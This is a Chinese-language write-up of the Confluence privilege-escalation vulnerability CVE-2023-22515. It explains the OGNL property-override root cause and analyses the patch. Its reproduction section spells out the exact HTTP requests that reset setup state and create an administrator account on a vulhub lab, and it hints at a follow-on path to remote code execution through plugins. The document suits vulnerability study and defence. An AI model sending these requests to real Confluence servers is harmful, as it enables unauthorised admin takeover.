CVE-2023-22515 Confluence权限提升漏洞分析与利用指南
漏洞概述
CVE-2023-22515是Atlassian Confluence中的一个严重权限提升漏洞,允许攻击者通过属性覆盖重新执行Confluence安装流程并创建管理员账户。该漏洞于2023年10月4日由Atlassian官方发布补丁。
影响版本
- Confluence Data Center和Confluence Server 8.0.0 - 8.0.4
- 8.1.0 - 8.1.4
- 8.2.0 - 8.2.3
- 8.3.0 - 8.3.2
- 8.4.0 - 8.4.2
- 8.5.0 - 8.5.1
漏洞原理
根本原因
漏洞源于XWork框架的特性:XWork允许在XWork动作对象上设置复杂参数。例如,URL参数formData.name=Charles会被XWork转换为方法调用getFormData().setName("Charles")。如果getFormData()返回null,XWork会尝试使用默认构造函数创建相应返回类型的新对象,然后使用setFormData(newObject)进行设置。
这种机制导致了XWork操作中潜在的安全漏洞,因为攻击者可以有效地在Action对象上调用任意方法。
技术细节
漏洞利用链涉及以下关键点:
- 参数拦截器机制:Struts2的
ParametersInterceptor使用OGNL表达式调用getter/setter方法 - 属性覆盖:通过构造特殊请求参数覆盖
bootstrapStatusProvider.applicationConfig.setupComplete属性 - 安装状态重置:将
setupComplete设置为false可使系统回到初始安装状态
漏洞复现
环境准备
使用vulhub提供的漏洞环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/confluence/CVE-2023-22515
docker-compose up -d
利用步骤
第一步:覆盖setupComplete属性
发送以下请求将安装状态重置为未完成:
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
User-Agent: Mozilla/5.0
Connection: close
Cache-Control: max-age=0
第二步:添加管理员账户
发送POST请求创建新管理员:
POST /setup/setupadministrator.action HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
User-Agent: Mozilla/5.0
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
X-Atlassian-Token: no-check
username=vulhub&fullName=vulhub&email=admin%40vulhub.org&password=vulhub&confirm=vulhub&setup-next-button=Next
第三步:完成设置
发送GET请求完成管理员添加:
GET /setup/finishsetup.action HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
User-Agent: Mozilla/5.0
Connection: close
Cache-Control: max-age=0
X-Atlassian-Token: no-check
Referer: http://172.16.4.1:8090/setup/setupadministrator.action
漏洞分析
安全机制绕过
漏洞利用的关键在于绕过SafeParametersInterceptor的安全检查:
-
参数名过滤:
- 使用正则表达式过滤危险参数名
- 参数名不能包含
actionErrors和actionMessages - 使用
EXCLUDE_CLASS_PATTERN=".*class[^a-z0-9_].*" - 使用
SAFE_PARAMETER_NAME_PATTERN="\w+((\.\w+)|(\[\d+w.
-
复杂参数检查:
private static boolean isSafeComplexParameterName(String key, Action action) { try { String initialParameterName = extractInitialParameterName(key); BeanInfo info = Introspector.getBeanInfo(action.getClass()); PropertyDescriptor[] descs = info.getPropertyDescriptors(); for (PropertyDescriptor desc : descs) { if (desc.getName().equals(initialParameterName)) { if (isSafeMethod(desc.getReadMethod())) { return true; } log.info("Attempt to call unsafe property setter " + key + " on " + action); return false; } } } catch (IntrospectionException var9) { log.warn("Error introspecting action parameter " + key + " for action " + action + ": " + var9.getMessage(), var9); } return false; } -
方法安全检查:
private static boolean isSafeMethod(Method writeMethod) { boolean isAnnotationTrue = false; boolean isReturnTypeTrue = false; if (writeMethod != null) { isAnnotationTrue = writeMethod.getAnnotation(ParameterSafe.class) != null; } if (writeMethod.getReturnType() != null) { isReturnTypeTrue = writeMethod.getReturnType().getAnnotation(ParameterSafe.class) != null; } return isAnnotationTrue || isReturnTypeTrue; }
利用链分析
-
ServerInfoAction类:
<action name="server-info" class="com.atlassian.confluence.core.actions.ServerInfoAction"> <result name="success" type="rawText">success</result> </action> -
继承关系:
- 继承
com.atlassian.confluence.core.ConfluenceActionSupport - 包含
bootstrapStatusProvider属性,实现类为BootstrapStatusProviderImpl
- 继承
-
关键属性覆盖:
- 通过
bootstrapStatusProvider.applicationConfig.setupComplete=false修改安装状态 - 调用链:
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)
- 通过
补丁分析
Atlassian通过以下方式修复了该漏洞:
-
struts-support库更新:
- 从1.1.0升级到1.2.0
- 修改了
SafeParametersInterceptor中的逻辑
-
Confluence核心修改:
- 删除了
com.atlassian.confluence.core.actions.ServerInfoAction - 删除了
com.atlassian.confluence.util.ServerInfoFilter - 修改
BootstrapStatusProviderImpl的setter方法,使其抛出异常保证只读
- 删除了
-
路由移除:
- 移除了
/server-info.action路由 - 限制
bootstrapStatusProvider.applicationConfig.setupComplete不可通过Struts机制调用
- 移除了
扩展利用
虽然主要利用方式是权限提升,但通过后台添加plugin的方式可以实现RCE。此外,从ConfluenceActionSupport入手,可以寻找其他可利用的属性setter。
一个潜在的利用点是文件写入:
private void saveApplicationConfig() {
try {
this.applicationConfig.save();
} catch (ConfigurationException var2) {
log.error("Error writing state to confluence.cfg.xml", var2);
}
}
最终会调用ApplicationConfig#save方法,使用XMLWriter写入配置文件(默认路径为/var/atlassian/application-data/confluence/confluence.cfg.xml)。
防御措施
- 立即升级到不受影响的Confluence版本
- 如果无法立即升级,限制对Confluence实例的访问
- 监控异常的管理员账户创建行为
- 审查系统日志中可疑的
/server-info.action请求
参考资源
- Atlassian官方安全公告:https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html
- Vulhub漏洞环境:https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22515